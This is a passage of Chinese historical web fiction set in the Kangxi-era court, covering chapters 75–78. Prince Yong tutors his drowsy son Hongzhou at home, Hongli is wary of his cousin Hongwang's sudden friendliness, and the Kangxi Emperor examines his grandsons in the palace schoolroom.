刚病好的身子还是有些虚弱的,这个时候犯困是很正常的事情。四爷给弘昼掖了掖被子,看弘昼闭上眼睛后才走了出去。 接下来的几天,弘昼就过上了吃喝玩睡的日子,直到身子彻底养好才从泗水院搬回了前院。 第75章 父子间的互相伤害 第75章 身子彻底养好了,已经是半个多月后的事情了。 虽说弘昼的身子表面上养得差不多了,但因着赵太医的嘱咐,四爷并不准备让他立刻就回宫念书。毕竟上书房念书实在辛苦,现在这孩子刚得了一场大病,还是要仔细调养之后才能入宫。 弘昼回到了他从前一直住着的院子,府中的先生在他们进宫去念书的时候就已经打发走了。加上他这段日子一直在养身子,四爷和耿执羽也不急着让他马上开始念书。 现在一回到前院,四爷便盘算着让这孩子一直玩也不像回事。可这原先府中聘的两位先生都已经走了,弘昼临时在家念两个月的书倒是也犯不上专门去找一位先生。这样想着,四爷便打算自己教。 弘昼最多在家中养一两个月的身体,这段日子就让他这个当阿玛的来教好了。正好也能看看平日里弘昼念书是什么样子的,从前便觉得这孩子念书的时候不算太过用心。 这样盘算着,四爷便将他授课的时辰规定在了他下朝的时候。每日授课一两个时辰,具体的按照当日他的行程来定,他若是当日清闲便多教一会,若当日有事要忙,让弘昼自己念书也不错。 当弘昼知道这个消息的时候,抬头看了眼自家阿玛惯常冷着的脸,弱弱道:“可以让先生重新来教孩儿吗?” 不要哇,就阿玛这个冷脸,到时候念书的时候肯定少不了训斥挨骂。最最最重要的是,不论是从前的先生还是上书房的先生都没有揍人的权利,但是阿玛他有啊。 而且自家阿玛从小时候就是个天才学霸,毕竟是能在那么多兄弟当中卷出来被皇玛法夸奖的人。而自己只能算普通人当中略有点小聪明的人,像这样的学霸教人的时候一般心里只会有一个想法。 那就是,你这都不会? 弘昼并不是很想被当成傻子看,他只想要拒绝掉阿玛这突如其来的父爱。 因着弘昼这回大病才升起的这点慈父之心的四爷,一来就遭受到了儿子毫不留情的拒绝。原本和暖的神色又凉了下来,声音也重新变冷了。 “你从前的先生已经去了桉贝勒府当西席。” 听出阿玛语气里的拒绝,弘昼挣扎了一下说道:“阿玛来教孩儿那就先说好,不可在教学的时候动怒。” 更不准动用武力。 后面这句话弘昼没敢说,他怕原本阿玛没准备这样的,被自己提醒就想起来了。 四爷挑眉,看着弘昼片刻后慢条斯理应下了。他虽说平日里厌烦蠢货,但这到底是自己孩子,况且平日里弘昼也还算机灵。加之他平常并不经常生气,自然更不会在孩子念书的时候生气了。 对于教孩子,四爷还停留在他从前教弘晖启蒙。那时候府中只有弘晖这一个男孩,又是嫡长子,对这个孩子四爷是寄予了厚望的。加之那时候他只是四贝勒爷,还在太子手底下办事,不算太过繁忙,也有时间来看顾孩子。 那时候启蒙延庆名师,他都是当成极为重要的一件事来办的。 后来的几个孩子出生时,他在朝堂上要忙的事情也多了,抽不出时间来亲自教。能做的依旧是让手底下人去筛选名师,请到府中罢了。 说起来,弘昼还是他第二个教的孩子。 就这样,友好的父教子活动就这样开始了。 第二日,弘昼在天亮后从床上爬起来,用过早膳后来到了从前在府里念书的那间屋子。 因为阿玛每日里都要去宫里御门听政,所以他也不用起太早,只要在阿玛回来之前到这里就行。 弘昼拿出书翻了翻,这将近二十来天没看书了,现在看着之前学习的内容都有些陌生了。昨日本来是想把书拿出来翻一番的,但回院子后就忘了,想起来天色已经黑了。 非必要的情况下,弘昼是不愿意点灯看书的。在宫里那是没办法,毕竟人人皆是如此。 但在自己府上,还是没有人逼迫的情况下,他就不大愿意这样了。 就这样翻着自己的书,弘昼在这半个时辰内温习了一下前面学的东西,见阿玛还没有过来又往后面看了看。 等四爷将身上的朝服换下来后过来,还没进门就听见了琅琅读书声。 听见这声音的四爷脚步一顿,眼里掠过一抹满意之色。弘昼还是懂事了不少,没人看着都已经知道自己该念书了。 等进去后,四爷摆了摆手免了弘昼的行礼,拿起书细细询问宫里的先生教到什么地方了。 随即便从这里开始讲课,四爷的知识面很广,他喜爱念书,不只是经学子籍,其余的天文地理之类的书籍也涉猎不少,甚至西洋传过来的书他也看了不少。 按理来说这样知识储备丰富的先生教学起来应该是会让人觉得有趣的,毕竟知识面广,随便引申一些东西就能让弘昼听得如痴如醉。 但不知为何,四爷讲课的声音总是干巴巴的,念书的时候似乎是自带催眠。弘昼最开始还能抵抗一下,但听多了之后他就开始犯困了。 四爷的眼神落在弘昼脸上,见他眼睛要闭不闭的,似乎正在抵抗着困意。浑身已经开始散发冷气,但弘昼对此丝毫不觉。 苏培盛在一旁搓了搓自己的手臂,心里为五阿哥哀悼了一声。爷的声音里都有冰碴子了,若是五阿哥还犯困,今日少不了要被训斥一通了。 砰! 四爷手中的书重重敲在了弘昼的桌子上,弘昼被惊得浑身颤了一下,马上仰起头来看着四爷。 “你平日里便是这样在上书房念书的?”四爷的脸色冰冷。 弘昼的肩膀耷拉了下来:“阿玛,要不还是找先生来教我吧。这样不知为何,听见你讲课我便犯困,从前先生教的时候也没有这个感觉啊。” 四爷的脸色更冰冷了,这不就是说他教得不好。 并不愿意承认这个的四爷开始继续教孩子,见弘昼犯困便又敲桌子。这一上午下来,弘昼只觉得自己心脏都要出问题了,被敲桌子吓得。 接下来的几日弘昼努力让自己不要听见阿玛的声音就犯困,但无奈这根本不受他的控制。 天知道为什么平日里听见阿玛冰冷的声音他就清醒了,但在讲课的时候却变得犯困了。 四爷不信,他从前给十三弟还有弘晖教的时候也未曾见他们俩这般。但偏偏教到弘昼的时候,这小子就这样了,定是这小子念书不精心。 就这样互相伤害了几日,弘昼对阿玛的害怕逐渐开始变少。 最开始的时候听见书敲击桌子的声音时,弘昼都能感受到自己的心脏漏了一拍。但是现在听见阿玛恨铁不成钢的声音时,他内心奇异的平静。 反正也就骂两句,这两天他挨的骂也不少了,已经开始逐渐习惯了。 别看弘昼听见阿玛讲课便犯困,但其实他学得还不错。犯困是他自己控制不了的,但其实他也是认真听的。 四爷教的时候虽说让弘昼打哈欠,但他本身学富五车也是变不了的。所以这父子在两看相厌中,弘昼反而学得还不错,比在上书房学得还好。 毕竟上书房中的先生要顾及好几位皇孙,而弘昼面对的四爷只要看顾他一人就是了。而且弘昼为了不让阿玛在课上对自己发火,他私底下也是悄悄努力了一下的。 所以四爷在教弘昼的时候,生气中又带了一丝诡异的成就感。毕竟没有老师不喜欢学得好的学生,但偏偏这个学得好的学生在课上表现又不是那么好,真是让四爷又爱又恨。 教了这几日后,弘昼甚至敢在阿玛面前顶嘴了。当然,这里指的是那些不痛不痒的事情。 很快地,到了上书房休沐的日子,弘历从宫中出来了。 回来的当天下午弘历要去后院见钮祜禄格格,晚上回自己院子的时候弘昼便摸了过去大吐苦水。 “四哥你是不知道,阿玛讲课真是一开始说话我就犯困了,明明从前也不见这样,”弘昼吐槽,“还好我私底下努力了一下,不然阿玛肯定要生气。” 弘历坐在一旁临摹着字帖,听见这话无奈笑了:“看见你身子养好了我也就放心了。” 他去上书房的时候,弘昼还在泗水院中。那时候弘历其实想等弟弟身子好了再一起去念书,但拗不过阿玛和额娘,最后还是自己去了。这一个月中他一直很担心弘昼,但没人想起来给这宫里的小孩子传信,他忍到休沐才知道弘昼已经好了。 “赵太医说我暂时还不能回上书房,说是上书房起早贪黑的不利于我将养身体,”弘昼看了看弘历的字,嫌弃道,“四哥你怎么临摹这么久了字还是这样。” 弘昼现在写字已经开始逐渐摆脱孩童体的横平竖直了,特别是临摹的时候,已经能有个七八分的形似的。 但弘历的这笔字,连最起码的横平竖直都做不到。即便是在临摹的时候,瞧着也挤在了一起,一点也不见大气,看上去很是难看。 要是上一世的弘昼最多也就能看出弘历这笔字不好看,但这一世他见过好看的字多了。特别是四爷给他们准备用来临摹的字帖上,各种字体都有,显得四哥的这笔字更难看了些。 弘历停下手中的笔,有点羞恼:“不说话没人把你当哑巴。” “好了好了我不说你的字了。”弘昼将话题拐了个弯,又开始抱怨阿玛给他讲课的时候有多严苛。 弘历继续临摹着手下的字,他也不知为何,就是临摹不出这些字的形体风骨。明明下笔之前想得好好的这一笔应该在这里,但是下笔之后却全然不是这么一回事。 第76章 关系 第76章 虽说在阿玛手底下念书不算容易,但相比于在宫里上书房念书,弘昼还是更加愿意在阿玛手底下讨生活的。毕竟在府上念书,别的暂且不说,只能在天亮之后起床这一条弘昼就很是满意了。 弘历在家中只待了两日,一个多月不见,弘昼有点想念四哥的。从出生起,他们分别的日子就没有超过两天以上的,这一回直接一个多月不见,不只是弘昼,弘历其实也是有点念着弟弟的。 于是在弘历去玉池院伴着钮祜禄格格的时候,弘昼也屁颠屁颠跟着去了。 耿执羽自己在泗水院待着也没意思,便跟着一起来了玉池院。 钮祜禄格格看着自己眼前的这一大两小,无奈地摇头笑笑。 说是来玉池院中陪伴额娘,但弘历过来之后其实是大部分和弘昼在一起玩的。耿执羽和钮祜禄格格在一旁忙着自己的事情,时不时抬头看着两个小孩在一起玩耍,心里说不出的满足。 弘历和弘昼玩了一会后,想着自己在上书房中跟着先生念书,弟弟在府中虽说跟着阿玛,但到底不如先生讲得多。这样思索着,弘历便想要拿出书来给弘昼补补课。 弘昼原本侧着耳朵听四哥讲话,听到这里有些绷不住了:“四哥,你这难得回来一天,咱们兄弟俩就别提这些扫兴的事情了吧。明儿下午你就要走了,这书什么时候看不行?” 闻言弘历坚定地摇了摇头:“听阿玛的意思,等这一两月间你身子养好了之后还是要去宫里念书的,等你回来念书先生必然不可能只顾着你一人。这期间你没听到的知识,先生并不一定会专程给你讲。还是我现在给你说些,你才好后面不落下太多。” 四哥真不愧是阿玛的亲儿子,弘昼脑袋里突然冒出了这个想法。随即他也学着四哥的样子,坚定地摇了摇头:“到时候跟不上就到时候再说,咱们现在都一个月没见了,我才不要在这里看这些。” 见四哥的脸上依旧是坚持,弘昼又道:“况且到时候等我身子养好了再学也不迟,先生不给我讲那到时候四哥给我讲就是了。那时在宫里,反正咱们一整日都是待在上书房的,想学不进去都有些难。” 听弘昼这样说,弘历才勉强点了点头。 耿执羽笑眯眯地看着,并不掺和两个小孩子之间的讨论。 这回弘昼出花几乎吓得她没了半条命,也想明白了些东西。无论孩子日后出息与否,有四爷这个阿玛在,总不会缺他一口饭吃的。那就没必要去逼着弘昼学太多东西,考封能考上也好,考不上他也是雍亲王府的小阿哥。 待长大后,四爷给谋个闲职也是能养活自己一家人的。虽说没什么远大前程,但身体健康就是最好的事情了。 当然,若弘昼自己想要努力的话,耿执羽肯定不会打击孩子的。她只是在心中暗暗下定决心,不再因为自己的想法去催弘昼上进罢了。 钮祜禄格格也看得好笑,见最后还是弘昼说服了弘历摇头笑道:“从小到大,凡是弘昼和弘历这哥俩有分歧,似乎都是咱们弘昼赢得多些。他自小就能言善辩的,三两句就说服弘历了。” “那都是弘历愿意让着他。”耿执羽也笑了声,“毕竟这哥俩一起长大的,这样的感情难免亲近些。” 钮祜禄格格的笑意在眼底浮现,是啊,自小一起长大的哥俩自然是要亲厚些的。 三阿哥被禁足这样的事情能瞒得过外头的人,但却瞒不过她们这些在府上住着的,更别提打着的主意还是为李侧福晋侍疾了。 在三阿哥被禁足前,李侧福晋的身体可好得很呢,偏偏禁足后就病到需要亲子侍疾了。 对于弘时被禁足钮祜禄格格心中有一个猜想,这个猜想是和耿执羽一同的猜想,怎么就偏偏在弘昼出痘的时候被禁足呢?不过四爷将三阿哥禁足,已经做出了处罚,她们这些格格不论心中是怎么想的,面子上都不能表现出来,否则就是和四爷做对了。 对耿执羽来说,若是弘昼有个三长两短的,那她一定会付出全部的心力让那人付出代价。但现在弘昼安好,她们母子都要在四爷手底下讨生活,便只能暂时蛰伏,待合适的时候再将这些东西连本带利讨回来了。 哥俩在后院玩了一天,用过晚膳后才回到了前院。 回去的时候院中已经开始点灯了,弘历眼底泛起一丝困意。在宫里养出来的习惯,天一黑就自然开始犯困了。 弘昼看见了便打了声招呼回了自己的院子,他最近养成的习惯是还要等会儿才睡觉。不过四哥既然困了,他也就不在这里打扰他睡觉了。 第二日在一起玩了没多久,便到了弘历去宫里的时辰了。 弘昼将弘历送到了马车旁,听见弘历很是认真地开口:“你在家中就好好养身子,等日后身子养好了回来念书的时候我会教你的,你不必太担心学业。” “知道了知道了,”弘昼点了点头,有点不舍,“那你在宫里要照顾好自己。” 这一去又是要一月才能见面了,细说起来弘昼还是有点不舍。这府中又要只剩下自己了,四哥在的时候还能陪着自己玩一会,现在就没啥人陪自己玩了。 这时候正好见一辆马车停在了弘昼他们旁边,四爷从上面走了下来。他身上还穿着官服,显然是从衙门刚回来的。 弘历回来的这两日,四爷也知道弘昼肯定没心思学习,便给他放了两日假。让这好久不见的哥俩好好聚一聚,省得他看见弘昼在课堂上不专心的样子也生气。 现在正好赶上了弘昼送哥哥的场景,见两兄弟依依惜别的样子好笑又满意。他养出来的弘历和弘昼这般兄友弟恭,弘时终究还是他自己走了歪路。 看到阿玛下来,弘昼和弘历下意识便行礼。 四爷叫了起,又淡淡嘱咐了几句便走了。 这时候弘历也不能再磨蹭了,和弘昼告别后登上了马车。 接下来的几日弘昼继续开始和四爷在课堂上互相伤害,四爷只要一看见弘昼犯困便忍不住生气,但弘昼听见阿玛讲课的声音也是一点都忍不住。 就这样互相伤害了十来日,弘昼得到了一个好消息。 那就是四爷正巧这两日得空了,准备带上十三爷去庄子看看他种的菜。 听到这个消息的时候,弘昼的眼睛都亮了起来。阿玛去庄子几日,等于自己放假几日,终于能在这两看相厌的场景中微微喘口气了。 但弘昼高兴还没两个时辰就得到了一个噩耗,那就是阿玛要带他一起去。 “阿玛,这回就您和十三叔,其余的不论是四哥还是十三叔府上的堂兄弟都是要去上书房念书没空前去的,又何必带上我呢?”弘昼亦步亦趋跟着四爷,他这段日子也算是和阿玛混熟了,原先的害怕都被丢到了脑后,跟在四爷身后就开始念叨。 “孩儿如今身子还没好呢,去庄子上若是难受了也不好找大夫,到时候阿玛和十三叔照看菜的时候还要顾着我,岂不是麻烦。” 要是只是去庄子玩,弘昼肯定是愿意去的。但是要去看阿玛侍弄的菜,这句话翻译一下就是要去干活,想起前几个月锄地的劳累,他是真不愿意去。 说话间就来到了四爷的书房,他似笑非笑看了弘昼一眼:“你从前可是最喜欢去庄子玩的,怎么,不想念额日乐和崇光了?” “想还是想的,”弘昼小声嘀咕了一下,随即超大声,“但是孩儿不想去锄地了,孩儿身子才刚刚好一点,正适合在府中喝药养身体呢。” 从病好开始,弘昼就一直在喝药。赵太医开的调养身子的药方,每过两天赵太医来府上号脉,看要不要调整方子。 这个药从最开始的纯苦,到后来的腥甜,再后来是酸涩的味道。这两个月的药,弘昼喝起来是酸甜苦辣咸都尝遍了,知道的是明白他在喝药,不知道的还以为他尝菜呢。 欣赏了一下弘昼脸上的不情愿,四爷才说道:“放心吧,这次不让你去锄地。” “真的?”弘昼将信将疑,这会不论是弘昌堂哥还是弘时他们都来不了,阿玛真的会放任自己这个小劳动力去了不干活吗? 四爷瞥了他一眼:“莫非你想干活?” “当然不想了。”弘昼答得很快,“那可就一言为定了。” 说完这话,弘昼便一溜烟似的从四爷书房跑了,连行礼都忘了。生怕晚走一刻,就让阿玛改了主意。 “这臭小子。”四爷笑骂了一声。 虽说是在骂人,但苏培盛并未从中听出不悦,反而从这语调中听出了自家主子的笑意。他也笑道:“如今瞧着五阿哥和您是越发亲近了。” 四爷微微挑了挑眉,并未说话。 苏培盛见四爷脸上没有不悦,便知道自己这话说到爷的心坎里了继续笑道:“这父慈子孝本是天理,这些日子瞧着五阿哥对爷的孺慕之情渐重。而四阿哥和五阿哥兄弟之间一团和气,前些天瞧见五阿哥送四阿哥的时候,那不舍的样子真是兄弟情深。” 听着苏培盛口中恭维的话,四爷脸上神色也越发缓和。 很快就到了四爷定好了去庄子的时辰,弘昼早早就被叫起来坐上了马车。 到了庄子后,弘昼看着周围一片青葱的样子。上回来的时候田里的稻谷刚刚种下,一个个可怜巴巴地立在田中。现在已经长大了许多,甚至已经能瞧见稻穗了,一簇簇的挤挤挨挨地在一起,看着就知道今年定是个丰年。 从马车上下来后,便看见了十三爷,弘昼上前行礼:“见过十三叔。” 十三爷的脸上带着笑,上上下下打量着他:“之前听四哥说你病了,如今瞧着已经是大安了。” “太医说还要好好调养。”四爷在一旁说道,“不过带过来锄锄地倒是也可以了。” 十三爷失笑,又不是在种菜之前,这时候哪有什么锄地的活儿,若是四哥说除虫或者拔草他就信了。 弘昼紧张兮兮地看着四爷:“阿玛说了今日不需我来锄地。” 四爷瞥了他一眼没说话,倒是十三爷大笑出声:“你阿唬你呢,夏天哪还需要锄什么地。走吧快些进去,等会儿太阳大起来了仔细将你晒中暑,现在身体还没养好呢。” 如今已经入夏了,弘昼在府上的时候已经能明显地感受到炎热了。不过在这庄子里,不时便吹来一阵清风,倒是并不觉得燥热。 这回来庄子,四爷说不要他锄地,果然就没有带着他下地。连四爷去瞧自己种的菜的时候,都没有带上弘昼。 这几日弘昼算是小放假了,整日在庄子里骑马玩耍,也不用操心念书或者其余的事情,若非四爷要回去了,他简直还想在这里玩上几个月。 这边弘昼在城郊的庄子玩耍,那边的弘历依旧勤勤恳恳在上书房念书。 上个月休沐回去之后,弘历的两个兄弟都不来上书房了,引起了身边人的好奇,有好几拨的人前来问过了。 弘历在外面一贯都是很端得住的,三哥要在家中侍疾,弟弟病了等好了再来这样的话说了不知道多少次,已经略有些烦了。 特别是弘曈弘暻这种本就和弘昼关系不错的问问就行了,连八叔家中的弘旺都过来暗暗打听就让他有些诧异了。自己和弘昼是绝对和弘旺没有什么关系的,那他主要来问的是谁就不言而喻了。 而正是因为弘旺,上回阿玛还骂了三哥一通,让他觉得是自己和弘昼告状的。 因此,弘历不算喜欢这位堂兄,即便他看起来很好说话,为人长得憨厚,几乎将真诚写在了脸上。 最近让弘历略有些烦恼的是,不知道为什么,这位在上书房颇受欢迎的堂兄突然表现和他亲近了起来。 不提原本对弘旺的不喜,光是弘历知道自家阿玛和八叔之间的关系就知道他和弘旺没什么能做好兄弟的可能。他一直很听额娘和阿玛的话,不会做这种一看就会让阿玛不高兴的事情。 “弘历堂弟,”弘旺笑眯眯上前,“听闻你们最近课业繁重了不少,先生对你们这些小孩子也太严厉了些。” 弘旺比弘历要大上三岁,弘历看这位堂兄的时候是微微仰着头的:“先生也是为我们好,毕竟严师才能出高徒。” “堂弟得先生夸奖过好几回,我也是听闻过的。”弘旺脸上的笑没有一点折扣,“听到昨日的时候先生训了好几个,独独夸了堂弟,想来堂弟念书是极好的。” 这话一出,弘历微微眯起了眼睛。 旁边的弘鼎脸上已经有了微微的不快,连弘暻脸上都有了点不自然。 被先生训斥是一回事,但被另外的人点出来又是一回事了。 “不过是侥幸罢了。”弘历的回答很沉稳,“这一节恰巧听从前在家中的先生讲过,若是论其他的,我恐怕也得被先生责骂。” “堂弟还是太谦虚了。”弘旺又夸了几句才离开。 弘历坐在自己的案几后面,感受着从弘旷弘鼎甚至弘暻身上传来的不悦,心里思索片刻确定自己并未得罪过这位堂兄。 从前几乎没有说过话,那他为何这几日来装着和自己相熟,但是却又暗地里给自己树敌呢? 是因为三哥吗,还是因为阿玛和八叔的关系。 第77章 继续念书 第77章 弘昼只在庄子里玩了两三天就被四爷带着回府了,他这回出来放松几日看看自己种的菜,并不能久待。 回府后继续过上了和阿玛相互折磨的日子,直到又一次见到了从上书房休沐回来的弘历,弘昼才被赵太医宣布可以继续回上书房念书了。 听到赵太医说他能继续去上书房念书的时候,弘昼都不知道自己该不该高兴了。不用继续和阿玛互相折磨似乎是应该高兴的,但是上书房这个作息又让他全然笑不出来了,只能无奈地叹了口气。 倒是弘历很高兴,他现在在宫中自己住着一个院子,身旁关系还不错的也就只有弘曈。偶尔间也会觉得孤单,弟弟能回来一起念书那简直是再好不过的事情了。 四爷也暗自松了口气,他从前尚且不理解有些大臣为了教孩子气得吹胡子瞪眼的。如今教了弘昼两个月却完全理解了,有时候教孩子的确是会控制不了自己。现在弘昼身子好了,直接送进宫去上书房念书,也省得他来教了。 弘昼跟着四哥一起坐马车去了皇宫,在宫门口下车步行到了阿哥所。看着这自己已经两三个月没来的地方,弘昼发出一声哀嚎,好日子即将离自己而去了。 本以为两个月没来,适应上书房的生活应该需要好几日。但显然这是弘昼低估了自己,他难受了两日后便很自然地开始融入上书房的生活了。 似乎之前在上书房念书时养成的习惯还在,弘昼并没有自己以为的那般难受,反而是很自然地就适应了。 第一日去上书房的时候,弘昼依旧是延续着之前的作风踩点到的。 弘曈原本正百无聊赖地盯着自己眼前的这本书,刚打了一个哈欠就注意到旁边似乎有人来了,扭过头就看见了弘昼,当即一惊,脸上露出了笑意。 “你身子好了?”弘曈探过头来问道,“我之前问你四哥,他说你出花了一直在养身体,我还以为你日后都不来上书房了呢。” “好得差不多了。”弘昼低声说道,“太医说我身子大安,可以回上书房了。” “那就好,”弘曈抱怨道,“你不在我这都无聊许多了,你四哥不爱同我笑闹。弘鼎和弘旷我都说不上话,弘暻也是一念书就不爱搭理我了。你现在回来了,好歹让我。日子不那么无趣了。” 弘昼听到这个就笑了,他在上书房中除却四哥外和弘曈玩得最好。毕竟弘暾不和他们在一起念书,平日里见的机会不如弘曈多,他还想着自己休了病假弘曈在上书房的日子肯定会无聊些,没想到这就来了。 “诶诶诶,你这在家两三个月是不是*特别爽啊。”弘曈还在说话,“我天天丑时起床的时候想起你在家应当还在睡觉就觉得难受,我也想等天亮了才起床。你说我能不能明天一觉醒来就到十五了,十五了就能不在上书房念书了。” 上书房念书的年龄是截止十五,从前在这里念书的皇子们在十五岁的时候都会开始办差。这回让皇孙们进来念书,年龄最大的也就十三四岁,没有收十五的。 “你以为我不想。”弘昼看着自己眼前的书,“我也盼着能一觉醒来就十五岁了,到时候就不用念书了。” 弘曈又说了几句,弘历微微转头看向了弘昼,低声让他开始念书了。 弘昼在家中的时候被四爷亲自教导,在府中有不用下午的时候练习骑射,所以他的进度其实没有落下上书房的堂兄弟太多的。他收到四哥的眼神后,对着弘曈使了个眼色便开始念书。 收到弘昼的眼神,弘曈乖乖闭嘴。反正弘昼回来了他们俩玩的时候多着呢,也不急于这一会儿。 收回心神后弘昼就开始认真了,他玩的时候一点书也不想念,但是念书的时候便能很快集中精神。 一直到太监们端着点心开始进入上书房,弘昼才从书里面抬头。他前几天和四哥聊天的时候刚好问起了,说是皇玛法这段日子十来日才会来上书房一趟,他们一个月最多也就见到皇玛法两三次了。 他这第一天回来,应该没有那么运气差碰上吧。 丑时起床用的早膳在就在这几个时辰的念书中消化完了,弘昼拿起筷子夹了一口点心,这是很常见的桂花糕。秋日里将桂花收集起来,然后腌制成蜜。 用这蜜做成的桂花糕,桂花香气浓郁但又不会过分的甜腻。弘昼吃了一块便迫不及待将筷子伸向了下一块,这是真好吃。 将碟子里的点心都吃完后,弘昼端起茶水顺了一口。桂花糕是甜的,茶水微微有点苦味,中和一下特别的舒服。 用点心的时辰过了,小太监们一个个进来将碟子撤了下去,弘昼看着面前的书籍等着先生过来。 他不知道先生会不会提问,所以现在自己先看看也免得到时候被问了一点也说不出来。 过了一会儿,弘昼没有等到先生,倒是等到了外面通传的声音。 “皇上驾到——” 听见这通传的声音,弘昼猛然抬头,这么倒霉今天就碰上了皇玛法来考校功课。但愿不要叫到自己吧,叫四哥就够了。 不多时,康熙带着一大帮子的人从外面走了进来,里头的人早就站起来准备好了,看见他的一瞬间就开始行礼。 “都起来吧。”康熙笑呵呵地叫起,似乎是心情不错的样子。 弘昼刚刚在皇玛法身后看到了自家阿玛,好像还有几位叔伯,不过这些叔伯平日里见面的机会少,刚刚也只是打眼一看,他不大确定自己有没有看错。 四爷跟在汗阿玛身旁,瞥了眼旁边站着的三哥五弟还有老八老九,心里略过一点烦闷,今儿老爷子也不知道为何突然要带着这么多儿子来考校孙子们的功课。 老三诚亲王脸上带着志得意满的笑,从人群中找到了自己的三个孩子,对着他们笑了笑,他对自己的孩子还是很自信的。 他自幼就喜欢念书,有了孩子后在孩子念书这一块也抓得紧。那几个从小功课马马虎虎的人,怎么能在这方面和他比。 老五恒亲王看着自家的三个小孩子,眼里掠过一丝笑意。他倒是不在意在兄弟们面前出风头这样的事情,只是看着弘曈这还带着困意的样子不免有些好笑。 其余的几位也都看向了自己的孩子,除却十三爷外,能上朝的皇子们都在这里了。只有十二爷百无聊赖,他如今还没有养活的子嗣,更别提能在上书房念书的孩子了,这回跟过来纯看戏。 康熙带着笑容说道:“你们这些皮猴从前在上书房便扰得先生们不得安宁,如今你们的孩子倒是比你们从前要乖些。至少没有先生告到朕跟前来,比你们当年可强多了。” “汗阿玛这是有了孙子便忘了儿子们了。”恒亲王笑眯眯说道,“这民间有句俗语,小儿子大孙子,老人家的命。根子,瞧着我们这些大儿子们如今都成了被汗阿玛嫌弃的了。” 这话一出,大家都笑了出来,康熙也笑了几声。 “这可不是,”九爷也凑了个热闹笑道,“从前三天两头就能瞧见汗阿玛来查我们的课业,一旦退步就要训斥。可是如今瞧着对这些小孩子们,可真真是和颜悦色的。” “怎么了老九,你这是抱怨汗阿玛从前没对你和颜悦色?”诚亲王笑道。 “诶诶诶,老九这从小就惹祸的性子,别说汗阿玛的和颜悦色了,连我额娘有时候都给不了好脸色呢。”恒亲王说道。 “五哥你这说就说错了,额娘对我好着呢。”老九哼了一声,瞥见了旁边的四爷,笑意中突然出现了恶意,“今年宫宴的时候额娘还专门给我带着姜汤呢,四哥都瞧见了。” 突然被点了一下的四爷面色没有变化,但恒亲王脸色却变了一下,悄悄瞪了一眼老九。 这个老九,不知道怎么回事就是和老四过不去。旁的地方提一下也就算了,这方面提不是戳老四的痛处吗。 对于恒亲王来说,他从前并未养在额娘身边而是养在了玛姆身边,是以和这个亲弟弟九弟之间的关系反而比不得老九和老八的兄弟情。 若老九只是和老八关系好就算了,但他是真的一点也想不明白为什么瞧着老八如今和老四斗得已近颓势了,但老九还是一门心思跟着老八。 康熙听着儿子们的话,笑眯眯地点了弘昉出来考校。 或许是因为顾念着被圈禁的大儿子,康熙每次前来上书房几乎都会在大阿哥的孩子中点一个出来考校。也正是因为这份看重,即便宫里的人大多数都捧高踩低,也没有人对被废的大阿哥的孩子太过无礼。 第一个被点到的弘昉激动的脸都有些红,他念书很努力,康熙提出来的问题对他而言并不难,答得很是准确。 康熙笑着勉励了几句,又开始往下挑人考校。 他这回带了一大帮子的人,自然也不会急着马上就走,便一个个考校了下去,基本上每个府的人都能挑中一两个。 这些皇子们瞧着自己儿子的表现,若是表现得好的便得一个笑脸,若是表现差些便悄悄瞪一眼。 很快地就问到了弘历,弘昼悄悄瞟了一眼皇玛法和阿玛的位置,叫了四哥了应该就不会叫他了。 弘昼的小动作很明显,让康熙看了好笑,问过弘历之后便点了弘昼出来。 第78章 慈父与考校 第78章 “你身子好全了?”康熙笑着问道。 弘昼一愣,下意识回道:“皇玛法怎么知道我病了。” 回完后弘昼便意识到了不对,刚刚这句话好像不大符合面圣的规矩。 康熙不以为意笑道:“你阿玛因着你出花的事情,告了假快半月了,这朝中还有谁不知道你病了?” 说到这,康熙转向了四爷面带一点赞许之色:“难为了老四这一片慈父之心,瞧着弘昼这样子就知道养得好。之前身子没养好的时候,可舍不得送进来念书呢。” “从前只以为四哥会是个严父,”恒亲王笑道,“但是如今看来却是个十足的慈父了。” “可见老四这个阿玛当得好,他府里头两兄弟年幼便知兄友弟恭,可见是他教育得好。”康熙说道,“这方面你们可就不如老四了,要多向他学学。” 四爷脸上带着谦逊:“汗阿玛过誉了,儿臣不过是心疼孩子生病罢了。” 弘昼悄悄搓了搓自己的手臂,现场听阿玛说这样略有些肉麻的话,还真是起了一身的鸡皮疙瘩。 八爷面带笑容地看了四爷一眼,又瞧了瞧弘昼,顺便伸手摁住了旁边似乎有些不悦的九爷。 自这两个孩子出生后,老四就一直在作秀。只是不知道若是这两个孩子日后闹得兄弟不和,甚至闹到了汗阿玛面前时,老四还能不能笑出来。 这样想着,八爷脸上的笑容愈发的柔和,似乎真心夸赞一般:“还是四哥会养孩子,这是咱们其余兄弟所不及的。” 四爷淡淡看了老八一眼,面子上客气了一两句。他已经习惯了老八这样说话必带着些挑拨离间的感觉了,左右在场的兄弟这么多年朝堂沉浮过来了都不是蠢人,也不会因为老八的一两句话就真的被挑拨。 康熙和自己的儿子们说笑了一会后似乎才想起弘昼,又看向了他问道:“你病了这两三月,上书房中先生讲课还可还能跟得上?” 旁边的先生微微抬头,弘昼这还是病好后第一天来念书,又怎么会知道能不能跟得上呢。 弘昼偷偷看了一眼阿玛后落落大方道:“回皇玛法的话,在家中的时候阿玛下朝后总要亲自教我念书。虽不敢说能比肩在上书房一直念书的其余兄弟,但应当也是相差不远的。” “难为老四忙完外头的事情还要亲自回去教儿子读书了,”康熙脸上笑意更深,看了老四一眼后赞道,“修身齐家,老四都做得不错。” 这话一出,不仅九爷,连八爷和十四爷的脸上都略变了一丝神色。 修身齐家治国平天下,汗阿玛这是随口一说还是在暗示着些什么。 四爷脸上则不变,依旧谦逊答了两句。 “既如此,那我便更要考校考校,看看你阿玛教得如何了。”康熙笑吟吟道,“若是教得好,那说明咱们老四还有些当教书先生的天资呢。” “谁说不是呢,”十二爷似乎想起来了什么,笑了声说道,“从前儿臣年幼时,四哥便教十三弟启蒙。那时候十三弟连字都不认识,教四哥教得先生夸了好几回。” “对对对,正有这一桩事呢。”康熙也点头,“老四当初教十三就教得很好,现在教自己儿子肯定也不会差。” 四爷听见这话,看了眼皇上的神情,在确认皇上脸上没有不悦之色后眼里闪过了一丝喜色。如今汗阿玛听见十三也不会不咸不淡了,说不定等过些日子就能在汗阿玛面前给十三求情了。 到时候先不说别的,将十三停发的俸禄恢复才是正理。恢复了禄米后,那些捧高踩低的人多少也要掂量掂量。 说笑了这几句,康熙看向弘昼提了一个略有些难度的问题。既然说好了验一验老四教得如何,那自然不能问太简单了。 